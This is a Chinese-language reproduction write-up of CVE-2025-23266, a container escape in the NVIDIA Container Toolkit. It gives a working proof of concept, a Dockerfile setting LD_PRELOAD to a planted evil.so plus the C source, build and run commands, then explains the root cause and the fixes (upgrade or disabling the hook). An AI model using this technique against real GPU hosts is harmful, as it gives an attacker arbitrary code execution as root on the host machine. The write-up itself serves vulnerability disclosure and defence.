【漏洞复现】CVE-2025-23266
该漏洞的本质是 NCT 的 OCI hook 在容器启动阶段继承了容器环境变量,而未进行安全过滤,导致容器内用户可以通过环境变量注入恶意共享库,在宿主机 root 上执行代码。Docker 的 Hook 机制,即 OCI 的 createContainer/StartContainer 阶段 hook 会继承容器镜像中的环境变量。简而言之,在创建容器时,Hook 会读取恶意镜像环境变量,产生 读取
一、漏洞信息
首发日期:2025年7月13日
CVSS v3.1 评分:9.0
风险级别:严重
利用难度:容易
修复版本:≥ 1.17.8
必须条件:
- 集群版本 < 1.32
- 集群中GPU节点的 NVIDIA Container Toolkit 组件版本 <= 1.17.7
攻击者可利用这些漏洞以提升的权限执行任意代码。
二、利用方式
1. 前期准备
- nvidia-container-toolkit 版本为 1.17.6
- NVIDIA 驱动、CUDA 以及容器 runtime 已正确识别 GPU
目前宿主机上有 4 块 Tesla T4 GPU
2. 漏洞利用
- 创建 Dockerfile 文件
FROM busybox
ENV LD_PRELOAD=/proc/self/cwd/evil.so
ADD evil.so /
busybox - 轻量级镜像
ENV LD_PRELOAD - 设置环境变量 LD_PRELOAD,指定动态库 evil.so 的路径
ADD evil.so / - 把本地构建上下文中的 evil.so 文件复制到镜像根目录 /
- /proc/self/cwd 表示进程当前工作目录,在容器内一般是容器启动目录。所以在容器内运行程序时,/proc/self/cwd/evil.so 能指向容器里 /evil.so
- 创建 evil.c 文件
void _init() {
FILE *f = fopen("/root/proof-lyc-0825", "w");
if (f) fclose(f);
}
- 编译 evil.c 为共享库并构建镜像 poc
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
docker build -t poc .
- 【受害者视角】启动恶意镜像
docker run --rm --runtime=nvidia --gpus=all poc
- 检查是否创建目标文件
三、根因分析
该漏洞利用的步骤简化:
- 攻击者在任何其他主机编译出带有恶意 .so 文件并放入镜像,同时在镜像中配置指向该文件运行时位置的环境变量 LD_PRELOAD
- 当这个镜像在目标宿主机上启动时,NVIDIA 的 hook 继承容器的环境变量LD_PRELOAD,并在宿主机上以 root 权限运行;然后它会加载 LD_PRELOAD 指向的 .so 文件,进而执行其中包含的命令
LD_PRELOAD 在程序启动时优先加载的共享库(.so)。
该漏洞的本质是 NCT 的 OCI hook 在容器启动阶段继承了容器环境变量,而未进行安全过滤,导致容器内用户可以通过环境变量注入恶意共享库,在宿主机 root 上执行代码。
Docker 的 Hook 机制,即 OCI 的 createContainer/StartContainer 阶段 hook 会继承容器镜像中的环境变量。
简而言之,在创建容器时,Hook 会读取恶意镜像环境变量,产生 读取 LD_PRELOAD → 加载 evil.so → 执行 _init() 的效果。
因此,该问题涉及以下三个方面的共同作用:
- NCT hook 处理环境变量方式
NCT 的 hook 在宿主机运行时,没有过滤关键变量:LD_PRELOAD
这使得容器内用户可以控制宿主机 root 进程的动态链接加载路径。
- Linux 动态链接器机制
Linux 动态链接器会优先加载 LD_PRELOAD 指定的库。
因为 hook 以 root 权限运行,所以加载 .so 相当于 在宿主机 root 上执行任意代码。
- OCI 权限设计
OCI 设计时假设 hook 是可信任的,没有把容器和宿主机完全隔离,导致容器用户可以影响宿主机 root 进程。
四、修复方案
1. 官方升级
升级 nvidia-container-toolkit 到 1.17.8 及以上版本。
升级后,hook 会安全处理 LD_PRELOAD,不再受容器控制。
2. 禁用 hook 功能
编辑 /etc/nvidia-container-toolkit/config.toml 文件,修改以下内容
[features]
disable-cuda-compat-lib-hook = true
更多推荐
所有评论(0)